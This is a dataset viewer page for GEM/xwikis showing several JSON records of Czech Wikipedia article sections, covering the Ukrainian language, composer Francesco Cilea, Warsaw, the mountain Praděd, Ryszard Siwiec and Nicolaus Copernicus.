Datasets:

GEM

/

xwikis

like 2

{ "title": [ "Rozšíření.", "Nářečí.", "Historie.", "Abeceda a výslovnost.", "Slovní zásoba.", "Vzorový text.", "Všeobecná deklarace lidských práv." ], "section_level": [ "1", "2", "1", "1", "1", "1", "2" ], "content": [ "Ukrajinština je úředním jazykem druhého největšího evropského státu Ukrajiny. Ve východní a jižní části jejího území si ovšem konkuruje s ruštinou, ukrajinsky se tam mluví hlavně na venkově; na Donbasu a na Krymu je používanější ruština (na Krymu ukrajinský jazyk považují za mateřský 3,3% obyvatel ), avšak ve střední a především v západní části země ukrajinština převažuje zcela jednoznačně. Vedle Ukrajiny má ukrajinština status oficiálního jazyka také v neuznané separatistické republice Podněstří a v několika obcích ve Vojvodině. Kromě toho používá ukrajinštinu ukrajinská menšina především na východním Slovensku, v jihovýchodním Polsku, České republice, Spojených státech a jinde.", "Nářečí přecházejí plynule do polštiny a běloruštiny. Zvláštním jevem je tzv. suržyk, smíšený jazyk s převážně ukrajinskou gramatikou a výslovností, silně ovlivněný ruskou slovní zásobou.", "Od 10. století se na Kyjevské Rusi spolu s křesťanstvím šířila církevní slovanština a stávala se úředním a spisovným jazykem. Staroruština pronikala do církevních textů od 16. století, o století později už lze hovořit o spisovném jazyku. V 19. století se rozvíjela ukrajinská literatura, čerpající z lidové slovesnosti. V 19. století a na začátku 20. století byla označována ruskými i ukrajinskými autory termínem \"maloruština\" nebo \"maloruské nářečí\". Název vycházel z koncepce např. A. I. Sobolenského, S. K. Buliče a částečně N. S. Trubeckého, podle které jsou ukrajinské jazyky jen nářečím ruského jazyka. Filozofové a slavisté až v druhé polovině 19. století považovali maloruštinu za samostatný jazyk (Vladimir Ivanovič Dal, Pavlo Hnatovyč Žyteckyj, Fedir Jevhenovyč Korš, Alexej Alexandrovič Šachmatov, Pavel Jozef Šafárik, Franc Miklošič). V pomajdanské Ukrajině a následné atmosféře nárůstu nevraživosti vůči všemu ruskému byl v první polovině roku 2017 Nejvyšší radou Ukrajiny přijat zákon, výrazně omezující užívání ruštiny v ukrajinské celostátní, místy i regionální televizi ve prospěch ukrajinštiny a to i v oblastech kde se nikdy v historii ukrajinština nepoužívala, např. Oděsa, Donbas, Kyjev atd.", "Ukrajinština se píše cyrilicí. Ukrajinská abeceda obsahuje písmena v následujícím pořadí: Tato tabulka neplatí pro výslovnost a transkripci univerzálně. Výjimky: Další poznámky:", "Ukrajinská slovní zásoba má blíže západoslovanským jazykům (zejména polštině) než ruština.", "", "Pro srovnání ukrajinštiny s ruštinou je text uveden v obou jazycích. V písmu se od ruštiny dá snadno odlišit znakem, který se v latince používá pro \"i\"." ] }

{ "title": [ "Život.", "Mládí a studium.", "Skladatelská dráha." ], "section_level": [ "1", "2", "2" ], "content": [ "", "Narodil se v obci Palmi nedaleko Reggio di Calabria. Nadání pro hudbu se u něj ukázalo již v raném věku. Podle vlastních vzpomínek zhlédl ve čtyřech letech představení Belliniho opery \"Norma\" v podání místních umělců, které na něj silně zapůsobilo. Jako mladík byl poslán do Neapole studovat hudbu na \"Conservatorio San Pietro a Maiella\", kde záhy prokázal svůj talent a píli a získal zlatou medaili ministerstva školství (\"Ministero della Pubblica Istruzione\"). K závěrečné zkoušce na konzervatoři předložil svou první operu \"Gina\", komponovanou na libreto Enrica Goliscianiho podle francouzské divadelní hry Anne-Honoré-Joseph Duveyrier de Mélésvilleho \"Catherine, ou La Croix d'or\". Opera byla uvedena ve školním divadle a zaujala vydavatele Edoarda Sonzogna natolik, že se v roce 1892 konalo druhé představení ve Florencii.", "Sonzogno si poté u Cilea objednal veristickou operu \"La Tilda\" na motivy Mascagniho opery \"Sedlák kavalír\". Libreto napsal Angelo Zanardini. Opera měla úspěšnou premiéru v dubnu 1892 v \"Teatro Pagliano\" ve Florencii a poté co prošla řadou italských divadel zazněla i na \"Vídeňské hudební a divadelní výstavě\" v roce 1892 (při této příležitosti byla také poprvé v zahraničí uvedena Prodaná nevěsta Bedřicha Smetany). Sám Cilea tuto operu příliš v lásce neměl. Komponoval ji jen proto, aby vyhověl vydavateli a nepropásl profesionální příležitost. Modernímu uvedení díla brání ztráta orchestrální partitury, avšak i z klavírního výtahu jsou zřejmé její svěží a chytlavé melodie. V listopadu 1897 měla v milánském \"Teatro Lirico\" premiéru třetí Cileova opera \"L'arlesiana\" na libreto Leopolda Marence podle divadelní hry Alphonse Daudeta. Mezi premiérovými pěvci byl mladý Enrico Caruso, který zde slavil obrovský úspěch romancí Frederica \"È la solita storia del pastore\", která je dodnes oblíbenou součástí repertoáru předních světových tenorů. Jako celek však tato opera tehdy velký úspěch nezaznamenala. Cilea, hluboce přesvědčený o hodnotě díla, se po zbytek života snažil operu přepracovat. Činil drastické úpravy a lze jen stěží najít jediný takt, který by byl od počátku nezměněn. Opera však nikdy úspěšná nebyla, pouze s výjimkou 30. let 20. století, kdy se těšila politické podpoře vyplývající z osobních kontaktů skladatele s \"ducem\" Benitem Mussolinim. 6. listopadu 1902 měla opět v milánském divadle \"Teatro Lirico\" a opět s Enricem Carusem v hlavní roli premiéru nejúspěšnější Cileova opera \"Adriana Lecouvreur\". Na námět Eugéna Scribeho napsal libreto Arturo Colautti. Opera je dodnes stálou součástí světového operního repertoáru zejména pro svou melodičnost vycházející z Neapolské operní školy kombinovanou s harmonickým a tonálním vlivem francouzských skladatelů, jako např. Masseneta. Poslední Cileova opera, tříaktová tragedie \"Gloria\" měla premiéru 15. dubna 1907 v milánské opeře La Scala. Libreto napsal opět Colautti podle divadelní hry Victoriena Sardoua. Nedočkala se velkého úspěchu a po dvou představeních byla stažena z repertoáru. Skladatel se sice pokusil o revizi, ale ani ta nebyla úspěšná. Existují informace o tom, že se Cilea zabýval ještě dalšími operními projekty. Svědčí o tom náčrtky libret jako \"Il ritorno dell'amore\" Renata Simoniho, \"Malena\" a \"La rosa di Pompei\" Ettore Moschina. Některé zdroje uvádějí, že v roce 1909 dokončil operu \"Il matrimonio selvaggio\", která však nebyla nikdy provedena. Nedochovaly se však žádné kopie a ani se o ní Cilea nezmiňuje ve svých pamětech. V každém případě se po roce 1907 již na veřejnosti neobjevila žádná nová Cileova opera. Pokračoval však v komponování symfonické a komorní hudby. V roce 1913 složil symfonickou báseň k poctě Giuseppe Verdiho, která byla poprvé provedena v \"Teatro Carlo Felice\" v Janově. Kromě toho se věnoval hlavně pedagogické činnosti a stal se ředitelem konzervatoře v Palermu (\"Conservatorio Vincenzo Bellini\") a posléze i ředitelem školy, na které sám studoval: \"Conservatorio San Pietro a Maiella\" v Neapoli. Svou pedagogickou dráhu ukončil v roce 1936. V posledních letech života ztrácel zrak, přesto se dále věnoval soukromé výuce zpěvu. Jeho posledním úspěchem bylo vítězství sopranistky Magdy Olivero, jejíž výkon v roli \"Adriany Lecouvreur\" zvláště obdivoval. Zemřel 20. listopadu 1950 ve Varazze, městečku nedaleko Savony v Ligurii, které mu udělilo čestné občanství a kde také prožil poslední roky svého života. Divadlo a konzervatoř Reggio di Calabria přijaly jeho jméno a rodné městečko Palmi vybudovalo na jeho počest mauzoleum vyzdobené scénami z báje o Orfeovi." ] }

{ "title": [ "Historie.", "Rané dějiny.", "16. až 19. století.", "Hlavní město (1918–1939).", "Druhá světová válka.", "Varšava v komunistickém Polsku (1945–1989).", "Od roku 1989.", "Geografie.", "Podnebí.", "Ekonomika.", "Doprava.", "Vzdělání.", "Nejvyšší budovy.", "Sport." ], "section_level": [ "1", "2", "2", "2", "2", "2", "2", "1", "2", "1", "1", "1", "1", "1" ], "content": [ "", "První opevněné osídlení na území dnešní Varšavy byla osada Bródno v 9. a 10. století a Jazdów ve 12. a 13. století. Po tom, co vévoda z Płocku, Boleslav II. Mazovský zaútočil v roce 1281 na Jazdów, byla založeno nové sídlo v místě malé rybářské vesničky Warzsowa. Na začátku 14. století se toto místo stalo jedním ze sídel Mazovského vojvodství a v roce 1413 pak hlavním městem Mazovska. Po vymření místní vojvodské linie v roce 1526 bylo vojvodství začleněno pod polskou korunu. V roce 1529 se Varšava stala poprvé sídlem polského Sejmu, trvale zde Sejm sídlí od roku 1569. Roku 1573 dala Varšava jméno Varšavské konfederaci, dohodě polské šlechty na toleranci různých náboženství v polském království.", "Kvůli své výhodné centrální poloze mezi Vilniusem a Krakovem v polsko-litevském společenství se Varšava stala hlavním městem tohoto společenství a současně v roce 1596 hlavním městem Polska, kdy sem král Zikmund III. Vasa přesunul královský dvůr z Krakova. Varšava byla metropolí polsko-litevského společenství až do roku 1795, kdy bylo soustátí napadeno Pruskem a Varšava se stala hlavním městem provincie Nové Východní Prusko. Roku 1807 bylo město osvobozeno Napoleonovou armádou a město na Visle se stává metropolí Varšavského vojvodství. V roce 1815 po Napoleonově porážce u Waterloo se sešly tehdejší mocnosti Rakousko, Rusko a Prusko (Vídeňský kongres), na základě kterého se Polsko dostalo pod vliv imperiálního Ruska. To obnovilo polskou konstituční monarchii pod svým vlivem. Povstání proti ruské nadvládě v letech 1830 a 1863 jen zvýšilo represe proti polskému obyvatelstvu.", "Po znovuzískání nezávislosti Polska po konci první světové války v roce 1918 se Varšava stala znovu metropolí nově se tvořícího státu. V roce 1919 se Polsko dostalo do válečného konfliktu s bolševickým Ruskem o historická území na Ukrajině a v Litvě. V bitvě u Varšavy (1920) polská vojska zcela zničila jednotky Rudé armády útočící na město a zmařila tak pokus Lenina a ruských bolševiků spojit se s německými, francouzskými a maďarskými bolševiky a ovládnout tak Evropu.", "Druhá světová válka byla zahájena 1. září 1939, kdy Německo napadlo západní část Polska. Zároveň bylo 17. září 1939 napadeno Polsko Sovětským svazem od východu. Země kapitulovala po šesti týdnech bojů. Západ Polska byl připojen k Německé říši a východ k Sovětskému svazu. Centrální část Polska včetně Varšavy byla pod správou nacistické vlády (General-Gouvernment). Při invazi v roce 1939 byla Varšava bombardována a bylo zničeno 10 až 15% budov ve městě. Přestože se jednalo o významné ztráty, v pozdějších dobách mělo být podle nacistických plánů město kompletně zlikvidováno a zachováno jen jako důležitý přestupní bod. Při okupaci města nacisty byly všechny vyšší vzdělávací instituce okamžitě uzavřeny a varšavská židovská populace – několik set tisíc lidí, asi 30 % obyvatel města – byla nahnána do tzv. Varšavského ghetta. Když se Němci v rámci Hitlerova „konečného řešení“ pokusili ghetto zlikvidovat, došlo k židovskému povstání. Navzdory těžkému ostřelování a přesile se ghetto udrželo bránit skoro měsíc. Po skončení bojů byli ti, co přežili, zmasakrováni. V červenci 1944 sovětská vojska postupovala přes polské území, Němci pak ustupovali k Varšavě. Protože si polská londýnská exilová vláda myslela, že Stalin není nakloněn myšlence nezávislosti Polska (Stalin chtěl pouze hranice Polska posunout na západ), dala rozkaz ilegální polské Zemské armádě („\"Armia Krajowa\"“), aby se pokusili získat kontrolu nad městem, než tam dorazí Sověti. Dne 1. srpna 1944, když se Rudá armáda k městu rychle blížila, Zemská armáda a většina populace zahájila (hrdinské, ale velice ukvapené a bez naděje na úspěch) Varšavské povstání. Navzdory Stalinovu nepřátelství k Polsku Poláci předpokládali, že jim sovětští vojáci pomohou proti jejich společnému nepříteli. Nicméně, když se Rudá armáda dostala k Varšavě, sovětská ofenzíva byla náhle zastavena, protože sovětské jednotky byly vysíleny, potřebovaly doplnit stavy a také využít situace a vyčkat, až si to Němci s Poláky vyřídí a povstání potlačí. Němci proto mohli povstání nemilosrdně potlačit. Přestože byla doba povstání plánována na 48 hodin, obránci se udrželi 63 dní. Nakonec muselo hlavní město Polska kapitulovat. Vojáci Zemské armády byli převezeni do zajateckých táborů v Německu, civilní obyvatelstvo bylo vyhnáno z města. Hitler ignoroval dojednané podmínky kapitulace a nařídil, aby bylo město srovnáno se zemí, knihovny a muzea vyloupeny nebo spáleny. Když 17. ledna 1945 přecházeli sovětští vojáci přes Vislu, zjistili, že Varšava téměř přestala existovat. Přes 85 % města bylo zničeno, včetně historického Starého města a Královského hradu. Přeživší bojovníky Zemské armády sovětské NKVD zabilo nebo poslalo na Sibiř.<ref name=\"Davies/reviews\">From reviews of Norman Davies, \"God's Playground\", Columbia,. \"On the 22 August the NKVD was ordered to arrest and disarm all members of the Home Army who fell into their hands.\" Carlo D'Este Rising '44': Betraying Warsaw, New York Times, July 25, 2004. \"While [at the same time] the NKVD under General Ivan Serov was unleashing another brutal purge against the Poles in the liberated territories of Poland.\" Donald Davidson, Rising '44' by Norman Davies, London, Macmillan, 2004.. Retrieved December 28, 2014.</ref> Počet obětí válečných událostí byl tehdy vyčíslen na 800 000, jedná se především o Židy a oběti povstání.", "Po válce se moci ujala prostalinská vláda prezidenta Bolesława Bieruta a Varšava se stala hlavním městem komunistické Polské lidové republiky. To samozřejmě kladlo naléhavou otázku na řešení obnovy metropole. Podle tehdejších sloganů tak začal \"celý národ stavět novou Varšavu\". Bylo nezbytné obnovit nejen historické budovy a královský hrad, ale hlavně řadové domy. Původní úzké uličky, které byly vedeny v trasách staletí starých cest nahradily moderní bulváry vedené v severo-jižním a východo-západním směru, spolu propojené kruhovými objezdy. I přesto, že byla velká část původních domů nahrazena, některé z počátku 20. století i starší se zachovaly. Mnohé kostely pak byly obnoveny v původním vzhledu. Novou dominantou metropole se stal Palác kultury a vědy vybudovaný ve stylu socialistického realismu, jako \"dar národů Sovětského svazu polskému lidu\". Slavnostně byl dokončen roku 1955. V roce 1980 bylo zrekonstruované historické Staré město zapsáno do historického dědictví UNESCO. Rozvoj silniční dopravy v duchu nového města doprovázela i výstavba dopravních staveb. Nové hlavní nádraží, ležící na důležité varšavské dopravní tepně Aleje Jerozolimskie, je umístěné v podzemí a spolu s celou tratí, vedenou pod středem metropole pomohlo zjednodušit dopravní situaci ve městě a zajistit rychlé spojení mezi východními a západními vlakovými spoji. Tramvajová síť, kterou má Varšava již z předválečných časů, se zmodernizovala, na nových rychlostních komunikacích se objevily moderní autobusy. Ke konci 80. let se začalo s výstavbou metra. Metropoli však čekal i přesto velký rozvoj. Domy z padesátých a šedesátých let začaly brzy doplňovat výškové budovy. Již v 70. letech začaly růst první na severu a v širším centru města, siluetu metropole pak doplnily stavby jako Hotel Mariott či Blue Center. Nová doba po roce 1989 pak přinesla úplné otevření západním investorům. Vznikly další kancelářské budovy, ale také i obchodní centra a muzea (například Muzeum dějin polských Židů).", "V roce 1995 byla otevřena první linka varšavského metra. Druhá byla otevřena v březnu 2015.", "Varšava leží na středním toku řeky Visla v středomazovské nížině, ve vzdálenosti asi 350 km od Karpat a Baltského moře. Je to jediné evropské hlavní město ležící v bezprostřední blízkosti Národního parku (Kampinoský národní park). Město leží na obou stranách Visly a mírně se táhne podél jejích břehů (v šíři asi 30 km na sever-jih a cca 28 km na východ-západ).", "Podnebí je mírné, přechodné mezi oceánským a kontinentálním. Ve Varšavě nebývají velké meziroční výkyvy v množství srážek. Vegetační doba je v průměru 200 dní. Ve Varšavě je hlavně severozápadní vítr (přibližně 60% dní) a severovýchodní (přibližně 30% dní). V centru Varšavy je mnohem tepleji než na jejím okraji a to o 7-8 stupňů, ale někdy to může být i o 10 stupňů. Nejnižší naměřená teplota byla -31 °C a nejvyšší 37 °C. Kvůli velkému znečištění ovzduší je ve Varšavě více oblačno než v okolí. Varšava má 1 600 hodin slunečního svitu v roce.", "Ve Varšavě, zvláště v jejím centru (\"Śródmieście\"), sídlí nejen mnoho národních institucí a vládních úřadů, ale i domácích a mezinárodních společností. V roce 2003 zde bylo registrováno 268 307 firem. Finanční spoluúčast zahraničních investorů na rozvoji města v roce 2002 byla odhadnuta na 650 miliónů eur. Ve městě se vyprodukuje více než 15 % polského národního produktu. HDP na obyvatele Varšavy byl v roce 2005 kolem 28 000 USD a vysoce převyšuje celopolský průměr. Úroveň nezaměstnanosti je jednou z nejnižších v Polsku, dle oficiálních zdrojů nepřesahuje 6 %. Po zničení města ve druhé světové válce a po jeho rekonstrukci se komunistické vedení rozhodlo, že bude Varšava přestavěna na velké průmyslové centrum. Ve městě a v blízkém okolí bylo vybudováno několik set továren. K nejvýznamnějším patřily varšavské ocelárny \"Huta Warszawa\" a dvě automobilky. Ovšem jak komunistický ekonomický systém upadal, většina z průmyslových komplexů postupně ztrácela význam. Po roce 1989 po transformaci politického i ekonomického systému mnoho průmyslových firem zbankrotovalo. V současné době využívá např. firma \"Lucchini-Warzsawa Steel Mill\" pouze část původní továrny \"Huta Warszawa\". Automobilky \"Ursus\" a \"FSO\" (zkratka pro \"Fabryka Samochodów Osobowych\" – Továrna na osobní automobily) vyrábějí vozy většinou na export.", "Hlavní páteří zdejší hromadné dopravy je varšavské metro vybudované v roce 1995. V roce 2018 mělo 21 stanic na dvou linkách (M1 a M2). Funguje zde také doprava tramvajová a trolejbusová. Hlavním železničním uzlem je hlavní nádraží Warszawa Centralna, odsud vyjíždí vnitrostátní, tak mezinárodní vlaky. Varšavu obsluhují dvě mezinárodní letiště. 8 km jižně od centra se nachází letiště Frédérica Chopina. Má zde základnu národní letecká společnost LOT a v roce 2017 odbavilo přes 15,7 milionů cestujících. Druhým letištěm je 40 km vzdálené letiště Modlin, které v roce 2017 odbavilo přes 2,9 milionu cestujících a slouží jako základna pro nízkonákladové aerolinie.", "Varšava je jedním z nejdůležitějších center vzdělávání v Polsku. Sídlí zde čtyři hlavní univerzity a přes 62 dalších vzdělávacích zařízení. Nejdůležitější jsou: Celkový počet studentů všech stupňů vzdělání ve Varšavě je téměř 500 000 (29,2% z městské populace; 2002). Počet univerzitních studentů je přes 255 000.", "V roce 2016 bylo ve Varšavě 24 mrakodrapů a tento počet se stále navyšuje, vznikají nové moderní čtvrti. V nich často sídlí různé mezinárodní korporace. Ve výstavbě (2018):", "Ve městě sídlí fotbalové kluby Legia a Polonia." ] }

{ "title": [ "Název.", "Přístup.", "Historie vysílače.", "Ochrana přírody.", "Zajímavosti." ], "section_level": [ "1", "1", "1", "1", "1" ], "content": [ "Staří Slované říkali hoře Stará vatra, koncem 14. století se nazývala Keilichter Schneberg neboli Keilichtská Sněžná hora (Keilicht bylo jméno jiné hory nad Červenohorským sedlem). Posléze byla nazývána Klínovcová hora a Niská Sněžka. Až v 19. století získala po Pradědovi, legendárním ochránci Jeseníků, jméno Altvater, což byl základ pro české jméno Praděd. Turistická oblast okolo Pradědu je širokou veřejností označována za „Slezský ledovec“, a to díky dobrým sněhovým podmínkám po celou zimu, jež jsou celorepublikový unikát.", "Praděd je přístupný z několika směrů. Na vrchol vede asfaltová silnice z Karlovy Studánky přes sedlo Hvězda a chatu Ovčárna, kterou kopíruje i zelená turistická značka (9 km). Turisticky je Praděd přístupný také po hlavní červeně značené hřebenovce od Červenohorského sedla (asi 10 km). Nejprudší výstup vede po modře značené cestě z Koutů nad Desnou kolem dolní nádrže přečerpávací vodní elektrárny Dlouhé stráně (asi 14 km s převýšením 800 m). Dalšími možnostmi jsou cesta od severovýchodu ze sedla Vidly nebo od jihozápadu ze sedla Skřítek.", "Na vrcholu původně stála kamenná rozhledna, vysoká 32,5 m, postavená v letech 1903 až 1912 Moravskoslezským sudetským horským a turistickým spolkem. Některé prameny uvádějí výšku rozhledny na 34 m. Věž byla postavena v romantickém duchu starého gotického hradu. Původně se nazývala \"Habsburgwarte\", v roce 1938 byla přejmenovaná na \"Adolf-Hitler-Turm\". Po druhé světové válce chátrala a zřítila se 2. května 1959. Napodobenina této rozhledny (německy \"Altvaterturm\") stojí od roku 2004 na hoře Wetzstein u Lehestenu v Durynském lese (něm. \"Thüringer Wald\") v Německu. S rozmachem televizního vysílání v 60. letech na vrcholu vyrostla dřevěná konstrukce s vysílačem. V roce 1968 bylo započato s výstavbou nového vysílače, původně vysokého 162 m. Jako první byla vybudována asfaltová silnice z Ovčárny na vrchol Pradědu. Výstavba vysílače byla dokončena roku 1983 otevřením restaurace. Z veřejně přístupné vyhlídky ve výšce 73 m je za dobrého počasí vidět Lysou horu, Sněžku a Radhošť, vzácně, při dobré viditelnosti i Vysoké Tatry a Malou Fatru na Slovensku.", "V roce 1955 byla na Pradědu vyhlášena národní přírodní rezervace. Nachází se v I. zóně CHKO Jeseníky.", "Jako výška vrcholu je nejčastěji uváděna hodnota 1491 m n. m., ale lze se setkat i s hodnotami 1491,3, případně 1492 nebo 1493 metrů. Stavbou vysílače byl vrchol hory ovlivněn, proto již nelze přesnou výšku určit. Jako geodetický bod nyní slouží střed antény televizního vysílače ve výšce 1616 m n. m." ] }

{ "title": [ "Život.", "Posmrtné pocty.", "Analogie." ], "section_level": [ "1", "2", "1" ], "content": [ "Ryszard Siwiec se narodil 7. března 1909 v Dębici; zde ukončil základní školu. V raném dětství ztratil otce; poté se s matkou přestěhoval do Lvova, kde navštěvoval gymnázium Jana Dlugosze. Po jeho absolvování studoval na Universitě Jana Kazimíra ve Lvově, kde získal titul magistra filosofie. Roku 1936 se přestěhoval natrvalo do Přemyšle, a do začátku druhé světové války pracoval na berním úřadě. Za války byl spolupracovníkem odbojové Zemské armády (Armia Krajowa, AK). Po osvobození pracoval jako účetní v družstvu Win. Byl otcem pěti dětí. Jeho syn Wit Siwiec žije v Kanadě. Na stadión, kde se jeho otec upálil, se poprvé podíval v roce 2013. Na protest proti invazi armád Varšavské smlouvy do Československa se 8. září 1968 upálil při celostátních dožínkách na varšavském \"Stadiónu Desetiletí\" za přítomnosti vedení polské komunistické strany, diplomatů a přibližně sta tisíc diváků. Svůj čin pečlivě naplánoval. Na magnetofon namluvil poselství, v němž obvinil Moskvu ze snahy rozpoutat další světovou válku. Na Stadionu Desetiletí se polil rozpouštědlem, a křičel, že protestuje proti okupaci Československa. Na místě se našla aktovka s letáky. Po uhašení byl odvezen do nemocnice, kde byl hlídán příslušníky tajné policie. Zemřel po 4 dnech v důsledku popálenin (více než 85 % povrchu těla). Byl pochován na hřbitově v Přemyšli. Na stadionu si ohně všimla jen část přítomných. Proto se komunistické tajné policii podařilo jeho protest před veřejností utajit. Teprve na jaře 1969 odvysílala polská redakce Rádia Svobodná Evropa zprávu o jeho činu.", "V roce 1991 polský režisér Maciej Drygas natočil film věnovaný Siwiecovi \"Usłyszcie mój krzyk\" („Uslyšíte můj křik“), který získal cenu Evropské filmové akademie \"Felix\" v kategorii dokumentů. Název filmu tvoří slova z Siwiecovy závěti, kterou sepsal dva dny před sebeupálením. Ve filmu byly využity dříve utajované záběry Polské filmové kroniky. Později byly nalezeny další filmové záběry, které na Stadionu Desetiletí natočili příslušníci tajné policie; nyní jsou v Archivu Institutu národní paměti ve Varšavě. V červnu 1991 rada města Přemyšle rozhodla, že nový tamní most přes San ponese Siwiecovo jméno. V roce 2001 prezident České republiky Václav Havel posmrtně vyznamenal R. Siwiece Řádem Tomáše Garrigua Masaryka prvního stupně. Jeho rodina odmítla 4. září 2003 přijmout vyznamenání od polského prezidenta Aleksandra Kwaśniewského z postkomunistické strany Svaz demokratické levice. V roce 2006 byl R. Siwiec vyznamenán také slovenským prezidentem Ivanem Gašparovičem, a to Řádem bílého dvojkříže třetí třídy. V prosinci 2008 byla po Siwiecovi pojmenována ulice na pražském Žižkově, v níž má své sídlo Ústav pro studium totalitních režimů. V této ulici byl 20. srpna 2010 hrdinovi odhalen pomník, jehož autorem je polský umělec Marek Moderau. Aktu se zúčastnily i některé politické osobnosti Polska a Česka.", "Podobným způsobem protestovali:" ] }

{ "title": [ "Životopis.", "Národnost.", "Hrob.", "Dílo." ], "section_level": [ "1", "1", "1", "1" ], "content": [ "Rod pocházel z obce Koperniki u města Nysa. Mikuláš se narodil v Toruni v rodině kupce Mikuláše (Niklas Koppernigk, který pocházel z Krakova) a Barbary rozené Watzenrode (svatba před rokem 1464). Jeho rodným jazykem byla němčina. Po smrti otce se jej ujal strýc (matčin bratr) Lukáš Watzenrode, který byl v roce 1489 zvolen biskupem warminským. Díky úsilí strýce ukončil v roce 1491 farní školu sv. Jana v Toruni a zahájil studia na krakovské univerzitě, kterou zakončil v roce 1495. V roce 1496 začal studovat právo na univerzitě v Boloni, v roce 1500 absolvoval právnickou praxi v papežské kanceláři v Římě a v následujícím roce získal souhlas k zahájení studií medicíny v Padově spolu s pokračováním studia práva. V roce 1503 se ve Ferraře stal doktorem kanonického práva a v Padově ukončil lékařská studia a získal právo provádět lékařskou praxi. Na návrh fromborské kapituly se stal v roce 1507 osobním lékařem varmiňského biskupa. V témže roce zpracoval komentář k teorii pohybu nebeských těles, první náčrt heliocentrické teorie a rozšířil ho v četných dopisech. V roce 1510 přesídlil do Fromborku a sestavil mapu Warmie. Spolu s fromborskou kapitulou složil v roce 1512 přísahu věrnosti polskému králi Zikmundovi I. V roce 1513 na výzvu lateránského koncilu vypracoval a poslal do Říma vlastní projekt reformy kalendáře. Ve Fromborku si opatřil dům v místě příznivém k astronomickým pozorováním, kde vybudoval pozorovatelnu a shromáždil astronomické přístroje. V roce 1514 začal psát první knihu \"De Revolutionibus Orbium Coelestium\". V letech 1516 až 1519 působil ve funkci správce kapitulního majetku se sídlem v Olštýně. Přivedl nové osadníky na hospodářství kapituly a s úspěchem připravoval olštýnský hrad k obraně před očekávaným útokem křižáků. V roce 1522 na sjezdu stavů Královského Pruska ve městě Grudziądz přednesl traktát o mincích. Působil v mnoha úřadech, byl poslancem, kancléřem, vizitátorem a kapitulním správcem. Spolupracoval s Bernardem Wapowským na mapě Království polského a Litvy. V roce 1533 byly jeho názory v rukopise jeho díla \"De Revolutionibus\" předneseny papeži Klemensovi VII. V roce 1537 byl králem potvrzen jako jeden ze čtyř kandidátů na biskupa warminského. V roce 1539 jej biskup Jan Dantyszek obvinil z konkubinátu, nařídil mu propustit hospodyni a připravoval kanonický proces. K Mikuláši Koperníkovi v roce 1539 přijel Georg Joachim von Lauchen zvaný Rhaeticus, profesor matematiky ve Wittenbergu, aby se seznámil s jeho naukou. V témže roce vyjádřil své mínění o Mikuláši Koperníkovi Martin Luther: \"Ten hlupák chce převrátit celé umění astronomie! Ale jak uvádí Písmo svaté, Jozue kázal zastavit se Slunci, a ne Zemi!\" Norimberský teolog Andreas Osiander přemluvil Mikuláše Koperníka, aby v předmluvě ke svému dílu představil svůj model jako hypotézu, čímž by zjemnil příliš odvážné myšlenky. V Basileji vyšlo v roce 1541 tiskem druhé vydání \"Narratio prima\", Koperník vykonal své poslední astronomické pozorování v životě (zatmění Slunce). Téhož roku jeho žák Georg Joachim zv. Rhaeticus opouští Frombork s rukopisem \"De Revolutionibus\", aby jej dal v Norimberku vytisknout. Úplný název tohoto díla, v němž Koperník shrnul své poznatky v celistvou heliocentrickou teorii, zní \"De Revolutionibus orbium coelesticum libri VI\" (Šest knih o obězích sfér nebeských). Lutherův spolupracovník Filip Melanchton shrnul svůj názor na Mikuláše Koperníka takto: \"Někteří si myslí, že je vynikající vypracovat věc tak absurdní, jako onen sarmatský astronom, který uvádí do pohybu Zemi a zadržuje Slunce. Moudří vládci by měli zajisté ovládnout talentovanou lehkomyslnost.\" V roce 1542 vyšly z tiskařských lisů první dva archy \"De Revolutionibus\". Mikuláš Koperník posílá do Norimberka předmluvu dedikovanou papeži Pavlu III. Kapitoly 13 a 14 první knihy vyšly ve Wittenbergu tiskem v podobě samostatné knihy \"De lateribus et angulis triangulorum...\" (O stěnách a úhlech trojúhelníků) s předmluvou Georga Joachima zv. Rhaetica. A v následujícím roce vyšla v Norimberku tiskem celá kniha \"De Revolutionibus\". Tato kniha, ačkoli byla především církevními autoritami považována přinejmenším dalších sto let za nepřijatelnou, přinesla základní obrat v chápání místa člověka v kosmu, neboť na rozdíl od ptolemaiovského systému odmítla přiznat Zemi nejvýznamnější místo v centru všehomíra. Koperníkův spis \"De Revolutionibus\" zařadila katolická církev roku 1616 na Index zakázaných knih. Ke zrušení zákazu šíření Koperníkovy teorie docházelo postupně. V roce 1820 bylo církví povoleno vytištění knihy, jejíž autor se zastával soustavy Koperníkovy, a v roce 1822 rozhodla příslušná římská kongregace že „tisknouti a vydávati knihy jednající o pohybu Země a klidu Slunce dle všeobecného názoru novějších hvězdářů v Římě je dovoleno.\" Přesto ještě ve vydání \"Indexu zakázaných knih\" z roku 1834 je Koperníkovo dílo uvedeno. Teprve v dalším vydání \"Indexu\" z roku 1835 již Koperníkův spis není zmíněn.", "Od počátků moderního nacionalismu si jej přisvojují Poláci i Němci (současné pojetí národnosti vzniklo v 19. století a za jeho života neexistovalo).", "Po smrti byl pohřben ve fromborské katedrále u oltáře, o který se staral, jak bylo zvykem u kanovníků. Nebylo však známo, který oltář měl na starosti. Polští archeologové řadu let jeho hrob v katedrále hledali a 3. listopadu 2005 oznámili, že v srpnu nalezená lebka s velkou pravděpodobností patřila Mikuláši Koperníkovi. Důkazem má být počítačová rekonstrukce tváře v Ústřední kriminalistické laboratoři ve Varšavě. Stoprocentní jistoty však nešlo dosáhnout, protože chyběly testy DNA jeho potomků (jako duchovní nemohl Koperník mít děti). Autentičnost ostatků byla prokázána teprve v roce 2008, když polští vědci za pomoci švédských kolegů porovnali DNA vlasu z knihy, kterou Koperník vlastnil, a DNA jeho zubu z objeveného hrobu. Vědci tak mohli konstatovat, že jde skutečně o astronomovy ostatky.", "Souborné Koperníkovo dílo, rozvržené do 9. svazků vydává pod názvem Nicolaus Copernicus Gesamtausgabe bavorské nakladatelství Akademie Verlag. Spis \"O obězích nebeských sfér\" je vybaven obsáhlými tabulkami a propočty. Koperník v něm vyvrací geocentrickou koncepci sluneční soustavy, vypracovanou ve 2. století n.l. Klaudiem Ptolemaiem." ] }

